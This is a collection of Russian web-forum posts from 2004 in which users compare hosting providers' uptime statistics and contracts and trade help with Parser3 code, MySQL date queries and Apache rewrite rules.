19.02.04 12:10:39 19.02.04 12:13:57 3 мин. 18 сек. Timeout \
19.02.04 11:19:48 19.02.04 11:27:12 7 мин. 24 сек. Timeout \
18.02.04 20:21:17 19.02.04 09:49:58 13 час. 28 мин. 41 сек. Timeout \
18.02.04 19:41:24 18.02.04 20:03:11 21 мин. 47 сек. Timeout \
18.02.04 08:15:46 18.02.04 11:32:47 3 час. 17 мин. 1 сек. Resource temporarily unavailable \
18.02.04 08:01:12 18.02.04 08:15:46 14 мин. 34 сек. Timeout \
18.02.04 07:55:35 18.02.04 08:01:12 5 мин. 37 сек. Resource temporarily unavailable \
18.02.04 07:32:14 18.02.04 07:55:35 23 мин. 21 сек. Timeout \
18.02.04 07:13:43 18.02.04 07:15:18 1 мин. 35 сек. Timeout \
18.02.04 06:47:58 18.02.04 06:51:51 3 мин. 53 сек. Resource temporarily unavailable \
18.02.04 05:18:15 18.02.04 05:39:15 21 мин. 0 сек. Timeout \
18.02.04 04:12:26 18.02.04 04:28:19 15 мин. 53 сек. Timeout \
18.02.04 03:45:03 18.02.04 03:53:06 8 мин. 3 сек. Timeout \
18.02.04 03:07:33 18.02.04 03:20:52 13 мин. 19 сек. Timeout \
\
DownTime: 19 час. 24 мин. 32 сек.\
UpTime: 88.447%"
"26617","На сам http://www.masterhost.ru/ можете зайти?\
\
Хост:  217.16.20.17 (masterhost.ru)  Провайдер:  Unknown \
Дата-центр:  Unknown \
Тестируется с 19 февраля 2004 года  HTTP-сервер: Unknown \
\
Начало Конец Время простоя Тип ошибки \
19.02.04 23:44:43 Не функционирует в настоящий момент 32 мин. 46 сек. Timeout \
19.02.04 23:43:04 19.02.04 23:44:43 1 мин. 39 сек. No route to host \
19.02.04 23:26:56 19.02.04 23:43:04 16 мин. 8 сек. Timeout \
19.02.04 22:05:45 19.02.04 22:14:24 8 мин. 39 сек. Timeout \
19.02.04 07:53:59 19.02.04 09:49:58 1 час. 55 мин. 59 сек. Timeout \
19.02.04 07:17:50 19.02.04 07:22:59 5 мин. 9 сек. Timeout \
19.02.04 06:50:30 19.02.04 06:58:12 7 мин. 42 сек. Timeout \
19.02.04 06:28:03 19.02.04 06:34:16 6 мин. 13 сек. Timeout \
19.02.04 06:02:14 19.02.04 06:08:08 5 мин. 54 сек. Timeout \
19.02.04 05:41:52 19.02.04 05:41:55 3 сек. Timeout \
 \
\
DownTime: 3 час. 20 мин. 12 сек.\
\
UpTime: 98.014%"
"26619","Атака на .m была http://webinform.ru/facts/691.html \
А что касается хостера - то парсер на нем уже месяцев 6 юзаю - и больших проблем не замечал. Лежит, IMHO не часто. Иногда бывают траблы с почтой, но решаемые. \
А с тех подержкой тоже ничего плохого сказать не могу. Правда никого лучше rbc.host я пока не пробовал... но это сугубый субъектив..."
"26620","заметьте что на uptime.ru\
из 16 хостов у 13 uptime 100%\
и только почему-то на вашем хосте проблеммы 19 час...\
странно всё это... но мне кажется не стоит так категорично и однозначно хоронить .хостинг? Но дело ваше я не убеждаю Вас.\
\
>А если у них любой клиент через собственные php файлы из вэб-пространства \"порядок\" наверсти может... Без комментариев :)\
\
Я писал не про это. Не стОит так всё утрировать. Я писал что если ставить разные open source CMS то вероятность взлома возрастает. И пользовать такие CMS не нужно.\
\
P.S. Parser рулит!"
"26622","Сначала узнаём две последние даты\
\
[code]\
$dates[^table::sql{\
select\
distinct DATE_FORMAT(date,'%Y-%m-%d') as n_date\
from news\
order by n_date desc\
}[$.limit(2)]]\
[/code]\
\
потом делаем запрос по этим двум датам\
\
[code]\
$news[^table::sql{\
select\
date, new\
distinct DATE_FORMAT(date,'%Y-%m-%d') as n_date\
from news\
where \
^dates.menu{\
DATE_FORMAT(date,'%Y-%m-%d') = '$dates.n_date'\
}[ OR ]\
order by date desc\
}]\
[/code]"
"26623","Единственный скрипт - и тот не тянул бы. Тогда уж narod.ru выглядел бы привлекательней :)\
\
А вот Вам ответ сёпорта:\
\"...Для использования CMS системы eZ publish, Вам необходимо собрать бинарный PHP. \
Таким образом Вы сможете определять нужные Вам лимиты. \
Если Вы не знаете как это сделать - мы вышлем инструкцию...\"\
\
И как Вам? И это при том, что они знают, что затем выпрет проблема с MySQL, которую они не берутся решить :)\
\
Ситуация абсурдная: приходите в поликлинику к хирургу, а он даёт Вам скальпель и просит самостоятельно попробовать вырезать себе на ж...е прыщь. А если что - подскажет как это в принципе можно сделать. При этом если какие дальше возникнут проблемы (кровотечение или вену себе цепанёте), то он помочь не сможет, т.к. перевязочная медсестра сегодня не пришла - обратитесь завтра, к другому хирургу...\
\
Театр абсурда..."
"26624","Поинтересуйтесь - много интересного можете про будущее своего проекта, на данном псевдо-хостинге, узнать :)\
\
Что характерно - у них на сайте нет ни гостевой, ни форума пользователей. Почему? Для меня это теперь очевидно..."
"26625","Присоединяюсь к рекомендации.\
\
Внимательно перечитал весь диалог ASharky и Artem. Ведь правы же ОБА. МХ - прекрасный хостинг, но это - образец индустриального хостинга. Не стоит обвинять их в том, что они из-за одного клиента не хотят ломать отлаженный конвеер предоставления услуг. Вам же, ASharky, насколько я понял, нужен именно, bhost, который знает своих клиентов в лицо и может гибко работать с каждым."
"26626","masterhost не очень, можешь у Лужниковского спросить :) У нас там щас сайт лежит, - народ плюется, хотим переехать. На net.ru кстати, таких простоев никогда не было."
"26627","net.ru получше будет, хотя и у них есть минусы, но не такие"
"26628","BIG THANKS :)\
Всё здорово, просто выручил! \
От себя могу добавить что лучше перед выборкой в таблицу $news сделать проверку на то, пришло ли что-нибудь в таблицу $dates, иначе при отсутствии новостей в базе будет матюги писать про неправильный запрос SQL :)"
"26629","mysql будет вычислать значениу функции where  DATE_FORMAT(date,'%Y-%m-%d') для [b]каждой[/b] записи в таблице news и лишь затем будет делать отбор по результатам вычислений. ни о каком использовании индексов речи быть не может в этом случае. гарантированы ALL в explain, temporary и filesort. это как-раз то, чего стоит избегать, как и OR в where. я об этом писал.\
\
горазд лучше второй запрос сделать так:\
[code]\
^dates.offset(-1)\
$news[^table::sql{\
  select\
    id,\
    date\
  from news\
  where \
    date >= $dates.n_date\
  order by date desc\
}]\
[/code]\
ну и не забыть индекс на date. посмотрите explain первого запроса и этого."
"26630","обычно пользователи уверены, что им все всё должны.\
перечитайте ваш договор?\
есть там строчки, что ваш провайдер должен вам помогать в настройке произвольного софта, который вы захотите установить?"
"26631","Я на http://bhost.ru , и доволен."
"26632","Речь не идёт о помощи в настройке пользовательского софта. Речь исключительно о параметрах и возможностях провайдерского хостинга, тем более, что это не какой-нибудь \"халявный\" народ.ру, а коммерческий проект и самый \"жирный\" тариф на нём."
"26633","оно обычно зависит от человека, на которого попадёте.\
\
а договор вы так и не почитали?"
"26634","мы в ряде успешно храним UTF-8 в MySQL базе, которая думает, что в ней лежит koi8-r.\
\
да, функции length и иже с ними не работают.\
но sort работает (не забыть про словечко binary в create table).\
и каши не просит."
"26635","мы тут на форуме многие проблемы установки разрешили.\
может и вам пособим? если оно, конечно, вам нужно?\
\
какие конкретно с ней проблемы?"
"26636","Мне тоже не хотелось бы, чтобы ради одного клиента что-то приходилось менять глобально в ущерб стабильности дальнейшей работы. Но система, которую я пытался там инсталлировать, не есть какой-то особенный заказной продукт требующий специального конфигурирования и выделенной машины с экзотической ОС. Он, по идее, должен вставать на любой среднестатистический хостинг. А на МХ - не получается. Отсуда вывод - данный хостинг предназначен, в первую очередь, для очень простых и незатейливых задач, типа статичного хтмл. Если его рассматривать в данной плоскогсти - наверное да, очень хороший и стабильный. Но динамические (причём типовые!) задачи ему не по зубам. Только это и имел в виду.\
\
Сбой последних пары дней (недоступность сайта более 50% времени и т.п.) - ну давайте спишем на \"не повезло\". Только мне представляется, что к подобным атакам надо всё-таки быть готовым и, более того, отрабатывать их заранее, как в армии, с участием смежников (канальных провайдеров и т.п.), с переброской серверов клиентов на \"зеркала\" и т.п., а не падать на 13 часов и более. 1941 год, лето..."
"26637","Советую нормальный хостинг www.caravan.ru, на вопрос можно ли мне использовать парсер на хостинге меня спросили какую версию хочу, после чего парсер был установлен через два часа, и все работало, ая писал кипятком."
"26638","Типовой Договор - никто никому ничего не должен:\
\
\"...4.1 МАСТЕРХОСТ не гарантирует абсолютную бесперебойность или безошибочность Услуг и не дает гарантию того, что предлагаемое программное обеспечение или любые другие материалы не содержат компьютерные вирусы и другие вредоносные компоненты. МАСТЕРХОСТ предпринимает все разумные усилия и меры с целью недопущения этого.\
\
4.2. МАСТЕРХОСТ не несет ответственности за прямой или косвенный ущерб, причиненный Абоненту в результате использования или невозможности пользования Услугами или понесенный в результате ошибок, пропусков, перерывов в работе, удаления файлов, дефектов, задержек в работе или передаче данных, или изменения функций и других причин. МАСТЕРХОСТ не гарантирует принятие почты Абонента от удаленных сетей, функционирование которых привело к занесению адреса такой сети в списки, по которым программа доставки почты МАСТЕРХОСТ не осуществляет прием почты.\
\
4.3 МАСТЕРХОСТ не несет ответственности за качество каналов связи общего пользования, посредством которых осуществляется доступ к Услугам...\"\
\
...кроме Абонента:\
\
\"...2.2. Обязанности Абонента:\
2.2.1. Своевременно и в полном объеме оплачивать Услуги МАСТЕРХОСТ...\"\
\
А насчёт \"дружественности\". А мне и не нужно \"индивидуального подхода\". Мне не детей крестить с провайдером."
"26639","Знаю точно про сервер, который fe8.\
\
А вот раньше, года 3 назад, никаких проблем не было..."
"26640","за месяц присутствия в здесь (в Про-Образе), я 2 раза столкнулся со случаями когда сайт не был доступен по 2 и более часов. За 2 года работы с net.ru такого не видел никогда.\
\
Старожили тоже говорят что с ними такое часто бывает."
"26641","нет.ру для моего http://www.opensea.tv/ тоже не годился. На нём у меня фильмы по 20 мегов лежат - с нет.ру скачивать их было проблемно. Каждые 2...3 мега соединение разрывает.\
\
А в остальном - да, нет.ру рулит. Правда у них сёпорт не круглосуточный, но зато ничего не падает и всё работает в остутствие инженера на рабочем месте :)"
"26642","но не странно тут этим заниматься? Не профильный тут Форум для этой EzPublish :)\
\
Конкретно:\
1.  Она требует для своей работы 12...16 мегабайт. При инсталляции (она из IE инсталлируется) выдаёт, что ей не хватает памяти, т.к. на МХ выделяется только 8М на максимальном тарифе виртуального хостинга. Чем тут можно помочь на задействуя провайдера?\
\
2.  Изменив в исходниках CMS конфиг и указав в нём нижний предел в 8М, можно \"обойти\" данное ограничение. Это не есть правильный путь, имхо, потому как не известно как это повлияет на работоспособность системы в дальнейшем - скорее всего памяти ей таки не хватит и она имеет право при эксплуатации \"падать\".\
\
3.  Пройдя первые этапы инсталляции и дойдя до определания \"основного\" и \"вспомогательных\" языков, сталкиваешься с тем, что не возможно в качестве любого из языков выставить \"Русский\", потому как база MySQL на МХ не поддерживает юникод. Опять без провайдера не обойтись.\
\
Вот что выдаёт инсталлятор:\
\
\"...No Unicode support\
The database server you connected to does not support Unicode which means that you cannot choose all the languages as you did. To fix this problem you must do one of the following:\
\
Choose only languages that use similar characters, for instance: English and Norwegian will work together while English and Russian won't work. \
Make sure the database server is configured to use Unicode or that it has the latest software which supports Unicode...\"\
\
Сайт на Англо-норвежском языке, вместо Англо-русского меня не совсем устраивает :)\
\
Собственно всё - на этом и заканчиваем и идём искать другого провайдера. Если по первому затыку они предлагают какие-то решения (\"соберите себе бинарный PHP\"), то по второму вопросу никто ничего уже третий день сказать не может."
"26643","Вместо www.ьasterhost.ru сейчас подставлен www.mhost.ru.\
\
Да и IP адреса других хостов они изменили в аварийном порядке и посему теперь статистика на uptime.ru доступна только с 20 февраля :)"
"26644","Да, от функции DATE_FORMAT(date,'%Y-%m-%d') во втором запросе я отказался сразу, но про OR что-то не подумал.\
Правда так как вы написали (  where date >= $dates.n_date ) - тоже мне не подходит: \
когда я захочу увидеть новости за 2 дня где-нибудь в середине месяца такой запрос мне выведет все новости за эти два дня плюс за все следующие после них...\
Опять возвращаемся к OR..."
"26645","Есть у кого-нибудь опыт работы с ними? Можно в приват дабы не разводить дискуссии :)"
"26646","Хост:  mx1.caravan.ru  Провайдер:  Caravan \
Дата-центр:  CARAVAN \
Тестируется с 11 апреля 2002 года  HTTP-сервер: Apache \
Начало Конец Время простоя Тип ошибки \
16.11.03 00:29:28 16.11.03 00:29:30 2 сек. Timeout \
09.09.03 09:58:56 09.09.03 09:58:58 2 сек. Timeout \
09.09.03 09:17:37 09.09.03 09:17:49 12 сек. Timeout \
06.06.03 11:30:00 06.06.03 11:39:19 9 мин. 19 сек. Timeout \
24.04.03 05:47:56 24.04.03 06:18:21 30 мин. 25 сек. Timeout \
24.04.03 05:42:17 24.04.03 05:47:56 5 мин. 39 сек. Resource temporarily unavailable \
06.03.03 12:14:57 06.03.03 12:23:28 8 мин. 31 сек. Timeout \
21.02.03 19:00:53 21.02.03 19:01:45 52 сек. Timeout \
19.12.02 08:22:56 19.12.02 08:58:14 35 мин. 18 сек. Timeout \
19.12.02 08:19:12 19.12.02 08:22:56 3 мин. 44 сек. Resource temporarily unavailable \
19.12.02 07:55:20 19.12.02 08:19:12 23 мин. 52 сек. Timeout \
19.12.02 07:31:01 19.12.02 07:36:21 5 мин. 20 сек. Resource temporarily unavailable \
19.12.02 07:25:19 19.12.02 07:31:01 5 мин. 42 сек. No route to host \
19.12.02 07:12:23 19.12.02 07:25:19 12 мин. 56 сек. Timeout \
19.12.02 07:09:13 19.12.02 07:12:23 3 мин. 10 сек. No route to host \
19.12.02 07:06:41 19.12.02 07:09:13 2 мин. 32 сек. Timeout \
19.12.02 05:39:56 19.12.02 05:41:23 1 мин. 27 сек. Timeout \
19.12.02 05:36:12 19.12.02 05:39:56 3 мин. 44 сек. Resource temporarily unavailable \
19.12.02 03:31:04 19.12.02 03:39:58 8 мин. 54 сек. Timeout \
09.11.02 04:34:19 09.11.02 04:53:41 19 мин. 22 сек. Timeout \
29.10.02 22:00:02 29.10.02 22:00:22 20 сек. Refused \
14.10.02 20:52:29 14.10.02 21:07:29 15 мин. 0 сек. Resource temporarily unavailable \
11.10.02 02:08:20 11.10.02 02:09:47 1 мин. 27 сек. Timeout \
08.10.02 14:13:51 08.10.02 14:15:06 1 мин. 15 сек. Timeout \
04.10.02 15:37:35 04.10.02 15:37:55 20 сек. Refused \
27.09.02 14:24:25 27.09.02 14:24:45 20 сек. Refused \
12.09.02 13:45:30 12.09.02 13:46:45 1 мин. 15 сек. Timeout \
19.08.02 18:05:59 19.08.02 18:18:50 12 мин. 51 сек. Timeout \
26.07.02 01:50:00 26.07.02 01:52:30 2 мин. 30 сек. Timeout \
26.07.02 00:29:14 26.07.02 00:39:14 10 мин. 0 сек. Timeout \
07.07.02 01:01:14 07.07.02 01:10:00 8 мин. 46 сек. No route to host \
07.07.02 00:59:59 07.07.02 01:01:14 1 мин. 15 сек. Timeout \
28.06.02 20:12:06 28.06.02 20:13:21 1 мин. 15 сек. Timeout \
28.06.02 19:42:06 28.06.02 19:44:36 2 мин. 30 сек. Timeout \
28.06.02 06:51:56 28.06.02 06:53:14 1 мин. 18 сек. Timeout \
28.06.02 06:31:56 28.06.02 06:33:05 1 мин. 9 сек. Timeout \
28.06.02 06:11:56 28.06.02 06:14:26 2 мин. 30 сек. Timeout \
15.06.02 17:34:24 15.06.02 17:36:54 2 мин. 30 сек. Timeout \
15.06.02 16:14:24 15.06.02 16:15:48 1 мин. 24 сек. Timeout \
28.04.02 12:11:47 28.04.02 12:22:20 10 мин. 33 сек. Timeout \
28.04.02 12:01:47 28.04.02 12:08:11 6 мин. 24 сек. Timeout \
22.04.02 13:56:50 22.04.02 14:00:35 3 мин. 45 сек. Timeout \
18.04.02 20:22:42 18.04.02 20:24:03 1 мин. 21 сек. Timeout \
18.04.02 19:12:42 18.04.02 19:13:57 1 мин. 15 сек. Timeout \
14.04.02 03:21:30 14.04.02 13:12:26 9 час. 50 мин. 56 сек. Timeout \
\
DownTime: 14 час. 23 мин. 12 сек.\
\
UpTime: 99.919%\
================\
\
Максимальное время останова - 35 минут. Общее, за пару лет, менее 10 часов - в принципе не плохо.\
\
Спасибо..."
"26647","Кто мешает зажать date в диапазон:\
[code]\
where date>=$fd and date<=$td\
[/code]\
Где $fd это первый день, а $td — второй.\
Если есть индекс по полю date, он будет использоваться!"
"26648","Хосты провайдера\
\
Статистика за прошедшую неделю / месяц / год \
\
Последнее обновление: 20.02.2004 (05:08:55) \
№ Имя хоста  IP адрес  Провайдер  Дата-Центр  Время ответа   UpTime  \
1 i1600.100mb.ru 193.124.133.41 100mb  RELCOM  1 41.754% \
2 ns.100mb.ru 193.124.133.25 100mb  Тестирование выключено.\
(Причина: недоступность > 48 час.) \
3 m9.100mb.ru 193.124.133.26 100mb  Тестирование выключено.\
(Причина: недоступность > 48 час.) \
4 WEB.100MB.net 195.14.47.9 100mb  Тестирование выключено.\
(Причина: недоступность > 48 час.)"
"26649","Ответ сёпорта:\
\
\"...6.2. Не допускается пиковое использование процессами пользователя более чем 2,\
5% ресурсов процессора. Также на пользовательские cgi-скрипты накладываются \
следующие лимиты:\
\
-          максимальное количество одновременно выполняемых задач - 32;\
\
-          максимальное допустимое время работы cgi-скрипта: не более 15 \
процессорных секунд; не более 5 минут реального времени;\
\
-          максимальное количество открытых файлов на один процесс - 32;\
\
-          максимальный размер файла 512mb;\
\
-          максимальное количество одновременных соединений с сервером БД \
MySQL ? 64. \
\
Данные ограничения не влияют на корректно написанные cgi-скрипты, и ни каким \
образом не мешают их работе.\
\
В случае превышения лимитов процессы, вызывающие перегрузку, могут быть \
отключены. В случае, если подобное превышение лимитов происходит \
систематически и Абонент не принимает мер по нормализации ситуации, после \
предупреждения ресурс может быть заблокирован.\
\
МАСТЕРХОСТ оставляет за собой право одностороннего изменения данных \
ограничений для улучшения работы системы в целом и повышения качества \
предоставляемых услуг.\
\
Для данных пользователя выделяется не более 32 мб, суммарно процесс не может \
занимать использовать более 64 мб памяти.\
\
С уважением, Бондырев Юрий.\
.masterhost\
...\"\
\
На Парсере я ничего большого не писал - оценить не могу. НО мало-ли кому интересно..."
"26650","Для установки данной системы не нужно рыть конфиги - она \"высокого уровня\". Только IE + FTP для закачки..."
"26651","Похоже не может заципить библиотеки.\
Какие права должны стоять на библиотеки \
libparser3mysql.so, libmysqlclient.so в safe моде?\
\
\
$SQL[\
$.drivers[^table::set{protocol driver client\
mysql   /usr/lib/libparser3mysql.so   /usr/lib/libmysqlclient.so\
}]\
]"
"26652","или в ней нет нужного протокола.\
\
попробуйте перед $SQL написать [code]^bug[][/code]\
\
как понимаете, должна появиться ошибка \"bug not found\".\
если не появляется, вы поместили эту таблицу не в метод @conf[]"
"26653","Роясь в исходниках парсера я обнаружил странный #DEFINE через который  можно (как там сказано) разрешить прием почты....\
Что за?\
Вопрос PAFу...."
"26654","вы принципиально не пользуетесь поиском по форуму?"
"26655","$td[$dates.n_date 23:59:59]\
^dates.offset(-1)\
$news[^table::sql{select id, region_id, rub_id, topic_id, problem_id, date, head from news where date>='$dates.n_date' and date<='$td' order by date desc}]\
\
Вот что получилось в итоге. Работает на ура! Всем спасибо за помощь!"
"26656","вставил ^bug[] \
стал писать undefined method  type: parser.runtime\
\
метода @conf[] в конфиге нет. поместил его туда. ничего не изменилось."
"26658","Будьте так добры, умные и знающие! Помогите идущей в самом начале пути познания Парсера, подскажите. Вопрос-то ведь для вас - раз плюнуть! Особенно с моим примером! Застопорилась у меня разработка, а помощи реальной просто неоткуда ждать. Доку начиталась до такой степени - уже все путается."
"26659","поищите текст \"$form:\"\
\
так разжёвано, что дальше некуда.\
признайтесь, вы не читали."
"26660","Извиняюсь но поиск резултатов не дал... Может обьясните сами?"
"26661","Как достать дату последнего обновления понятно, как получить текущую дату тоже, а вот как их сравнить?"
"26662","С датами можно работать как с числами. 1 = один день.\
15 минут = 1/(24*4). Только там вещественные числа будут, и нужно проверять аккуратно :)\
Пример:\
[code]\
$date1[^date::now[]]\
$date2[^date::now(1)]\
<p>^if($date2 > $date1){ date2 large then date1 }{ date1 large or equal then date2 }\
<p>diff = ^eval($date2 - $date1)\
[/code]\
\
Результат в броузере:\
[quote]\
date2 large then date1 \
\
diff = 1\
[/quote]"
"26663","Вы тоже «грешны» тем, что посылаете поискать на форуме. Ответ на Ваш вопрос я нашел в форуме (легко, с первого запроса). Получается, что кому–то можно спрашивать не потрудившись поискать, несправедливо! Неужели Вы думали, что Вы первый, кто столкнулся с такой задачей ?! :)\
\
Предлагаю воспринимать мое высказывание как предложение быть строгими не только к другим, но и к самим себе!\
\
Удачи! :)"
"26664","Кто нибудь делал меню.cfg для псевдосервера? В МОЕМ СЛУЧАЕ это папка в в основном htdocs куда ссылается и отображается домен третьего уровня. не очень глубый вопрос? ну извините...... %-)))"
"26665","мы делали. сейчас большинство *.hp.ru сайтов так работают.\
\
какие проблемы?\
что делаете?\
что не получается?"
"26666","например для net.ru он выдает сервер sqiud (это кэш), а аптайм 49% за год, что неверно. Кроме того, он может не совсем корректно работать с системами балансировки нагрузки."
"26667","Кто делал подскажите. Что то никак ни найду ...\
\
Нужно заменять урлы вида:\
[code]\
http://www.домен.ru/catalog/group/39.html\
http://www.домен.ru/catalog/group/37.html\
http://www.домен.ru/catalog/product/142.html\
[/code]\
на\
[code]\
http://www.домен.ru/catalog/group/?id=39\
http://www.домен.ru/catalog/group/?id=37\
http://www.домен.ru/catalog/product/?id=142\
[/code]\
То есть необходимо из запроса брать имя файла и вместо него подставлять id=имя_файла"
"26668","и не воспользовались поиском по данному форуму.\
\
вам просто лень?"
"26669","100% гарантии никто ни на что не даёт. Смотрим и сравниваем, по результатам делаем выводы и предположения :)"
"26670","ну опечатался, ну скем небывает....ну плохо с русским, виноват. Но я ж работаю над собой... %)) Дело в том,  что я погорячился (дурак вобщем, пардон муа) задавая этот вопрос, сначала надо было попробовать, а потом вопить. Все действительно работает прекрасно.\
\
Теперь у меня другой вопрос: как динамически менять тег <title>, и как делать стилевое форматирование гиперссылок полученых из sections.cfg? нЕ ПОДСКАЖЕТЕ?"
"26671","Вы не пробовали почитать доку, скажем в пределах уроков?"
"26672","Читал...может и пропустил что-то, а вообще как в том анекдоте \"..ты не мудри, ты пальцем покажи!\", если не трудно конечно...%-))))Буду признателен."
"26675","Есть раздел новостей, в нем есть категории, а еще есть листинг.\
[code]\
# только открытая категория (/news/first/)\
RewriteRule   ^(first|second)/  /news/?cat=$1\
RewriteRule    ^(first|second)$  /news/$1/  [R]\
# чтение новости из категории (/news/first/xx/)\
RewriteRule   ^(first|second)/([0-9]+)/  /news/?cat=$1&id=$2\
RewriteRule    ^(first|second)/([0-9]+)$  /news/$1/$2/  [R]\
[/code]\
\
Но есть еще листинг в категории.\
Вот как обрабатывается запрос /news/first/no=xx[code]RewriteRule   ^(first|second)/no=([0-9]*)  /news/?cat=$1&no=$2[/code]\
\
А я хочу чтобы было по запросу  /news/first/[b]?[/b]no=xx\
\
Почему не работает вот это:[code]RewriteRule   ^(first|second)/[b]\\?[/b]no=([0-9]*)  /news/?cat=$1&no=$2[/code]Почему в $2 ничего не попадает\
\
\
Чтобы не было вопросов привожу .htaccess целиком:\
[code]RewriteEngine On\
RewriteBase   /news/\
RewriteRule   ^([0-9]+)/  /news/?id=$1\
RewriteRule    ^([0-9]+)$  /news/$1/  [R]\
RewriteRule   ^(first|second)/([0-9]+)/  /news/?cat=$1&id=$2\
RewriteRule    ^(first|second)/([0-9]+)$  /news/$1/$2/  [R]\
# интересующая строка\
RewriteRule   ^(first|second)/no=([0-9]*)  /news/?cat=$1&no=$2\
RewriteRule   ^(first|second)/  /news/?cat=$1\
RewriteRule    ^(first|second)$  /news/$1/  [R][/code]"
"26676","$form:kod_model работает на этой же странице, т.е. когда обрабатывается в том же auto.p, где и сама форма. А у меня форма находится в классе (это видно в моем примере, если вы смотрели). Пробовала и $myform:kod_model, и $класс:поле ($forma:kod_model), и еще много чего пробовала, не получается. \
Может, все дело в каталогах проекта: класс с формой myform находится в каталоге Classes, а auto.p, в котором нужно узнать значение поля этой формы - в каталоге main проекта. Или нужно просто использовать передачу параметров? Как это сделать?\
Не буду критиковать вашу доку, скажу только, что она тяжело написана, что было бы проще, если б вы приводили аналогии, параллели с известными уже языками."
"26679","http://www.parser.ru/forum/?id=7748"
"26683","Хоть и конкуренты, а надо защитить коллег...\
Если лежит MX, то на работоспособность сайта это никак не влияет. Вообще говоря, MX может лежать дня три и вся (или почти вся) почта потом всё равно будет доставлена. Но ключевое слово тут - \"потом\"."
"26684","Ну вот, предположим у нас есть объект класса xdoc: $doc. Он содержит RSS. Необходимо оставить в документе не больше заданного количества (например, 3) элементов <item>. Как остальные вырезать? Можно любой другой пример, или ссылку. \
Да, и еще вопрос: \
почему если писать \
[code]\
$list[^doc.select[item]]\
[/code]\
то в хеш $list ничего не попадает (проверял сохранением поля хеша в файл)?"
"26685","Меня просто смущало вот что: \
http://www.parser.ru/forum/?id=4088 \
Дальше все должно проясниться..."
"26687","Давайте вместе замутим сайт о сноускейтинге и будем закалачивать тугрики  на их продаже!!!"
"26688","а я лучше позакалачиваю тугрики на сайтостроительстве, при помощи нашего дорого Parsera.\
Кто согласен, что это лучше!?"
"26690","Кагда запущен Денвер и пытаюсь открыть страницу http://www.parser.ru/forum иногда  файрвол  выдает:\
\
Application Apache.exe trying to establish \
a connection to the remote adress hosting.design.ru \
and by the port HTTP(80)\
\
Properties of connection\
Remote adress: hosting.design.ru\
Remote port: 80\
Local port: 3529\
\
Process information\
Process name: Apache.exe\
Process ID: 2328\
\
Что это?\
\
Пока такое получал только два раза, закономерности не наблюдаю.\
Файрвол - Kaspersky Anti Hacker.\
\"hosting.design.ru\" я нигде даже и не прописывал, и уж естественно, не вызывал.\
Антивирусом проверил."
"26691","Просто версия: в качестве прокси указан localhost и в денвер входит mod_proxy."
"26692","Собственно, сабж. И если нужен, то что он должен уметь?"
"26694","отличная идея, отличная реализация.\
\
PS:\
просто так пришел ночью на форум,\
почитать, чтобы спалось лучше :)\
а тут такие ценные вещи излагают :))"
"26695","Вот сама проблема, которую только-что прочитал:\
http://www.parser.ru/forum/?id=26302\
\
ситуация, мягко говоря, похожая :)\
\
Лишь хочу уточнить: постоянно развиваются несколько проектов на разных хостингах, совершенно разных по сути ...\
Но много классов совпадают, административный интерфейс похож ..\
\
Исправляются ошибки, добавляются возможности к одному из проектов .. хочется, что бы необходимые изменения с наименьшими время затратами дошли и до остальных проектов.\
\
[i]Пример простой:\
Например поправился баг в каком-то из классов, он тут же обновился на всех проектах.\
\
Пример сложный:\
Поправился баг в каком-то из классов, он тут же обновился на всех проектах и везде запустился какой-нибудь патч.[/i]\
\
Никто опытом поделится не хочет? Как красивее всего эта штука решается .. может есть готовые решения?"
"26696","Проблема:\
\
^connect[$connect_string]{\
Java-скрипт в котором много символов типа () и {}\
} # конец ^connect'а\
\
Как сделать, чтобы парсер не обрабатывал часть со скриптом, но при этом, чтобы я мог в этой части использовать переменные, полученные при помощи ^connect"
"26697","Если профессионально подойти к проблеме, то я бы поступил следующим образом.\
Используя CVS при создании и поддержке проектов создается репозитарий общих классов. При изменении класса делаем commit, а сервер CVS автоматически аплодит измененный файл в определенные вами места (FTP, etc.)"
"26698","прсто может попробовать тебе сделайть твой JavaScript в документ обрабатываемый парсером тобишь если у тебя допустим твой connect находиться в connect.html или где-нибудь еще, то попробуй сделайть так помести свой ЖаваСкрипт в файл допустим js.html и потом сделай так:\
\
[code]\
^connect[$connect_string]{\
  <script language=\"JavaScript\" type=\"parsed-html\" src=\"js.html\"></script>\
}\
[/code]"
"26699","Настроил в локальной, прописал IP и доменное имя в локалхост Win2000srv и в самом Апач-е, но грузится и по IP и по имени долго, как на свой ПК (Win2000srv), так и по сети?\
Может, где есть еще какие Хитрые настройки?\
Спасибо."
"26700","Например мне надо вызвать\
\
$square[^image::create(100;100;0x000000)]\
^square.bar(5;40;95;60;0xFFFFFF)\
$response:body[^square.gif[]]\
\
всё работает хорошо когда на страниче только этот один объект, если его вставить в страницу то всё исчезает из за $response:body[^square.gif[]].\
\
Подскажите как сделать правильно, хотябы на самом простом примере."
"26703","на вот этот код выдаётся следующая ошибка:\
 z:/home/bd/www/auto.p(2:1): parse error, expecting `$'\
exception.type=parser.compile\
\
\
$connect_string[mysql://root@localhost/news]\
@base_news[]\
^connect[$connect_string]{$news[^table::sql\
{SELECT max(chislo_name),header,news_text,link_name,chislo_name FROM news GROUP BY chislo_name DESC LIMIT 3}]}\
\
^if($news){\
^news.menu{\
         <b>$news.chislo_name - $news.header</b><br>\
         ^untaint{$news.news_text}<br>\
      }[<br>]\
}{\
      Net\
   }\
}"
"26708","спасибо всё понял"
"26709","sorry....tirro и aldex одно лицо."
"26711","Ошибка, связана с передачей hash of hash через параметры следующим образом:\
\
@main[]\
  ^process{\
    ^$hash[\
      ^$.image[\
        ^$.type[file]\
      ]\
    ]\
\
    \"^^temp[^$hash]\"\
  }\
\
\
@temp[a]\
  ^process{\
    ^$a[^hash::create[^$a]]\
    ^$a.image.type\
  }\
\
Parser (версия 3.11) говорит:\
method_frame may not be overwritten with hash (hash), store it to variable instead  type: parser.runtime\
\
\
Но уже при таком раскладе:\
\
@main[]\
  ^process{\
    ^$hash[\
      ^$.image[\
        ^$.type[file]\
      ]\
    ]\
\
    \"^^temp[^$hash]\"\
  }\
\
\
@temp[a]\
  $a[^hash::create[$a]]\
  $a.image.type\
\
Всё в порядке, выводит: \" file\", что собственно и хотелось!\
\
Не спрашивайте зачем тут процесс, так надо :)\
В файле кроме этих макросов больше ничего нет, на auto.p пенять не стоит я его даже не определяю!\
\
Юрий"
"26712","Не могу нигде найти описание, только одни упоминания CVS, лежит в CVS, CVS-сервер  и.т.д"
"26714","Есть новости, которые хранятся в базе данных.\
Пытаюсь написать интерфейс для работы с этой базой данных.\
\
Собственно сам процесс внесения, изменения и удаления записей в БД и как это реализуется на Парсере вопросов не вызывает.\
\
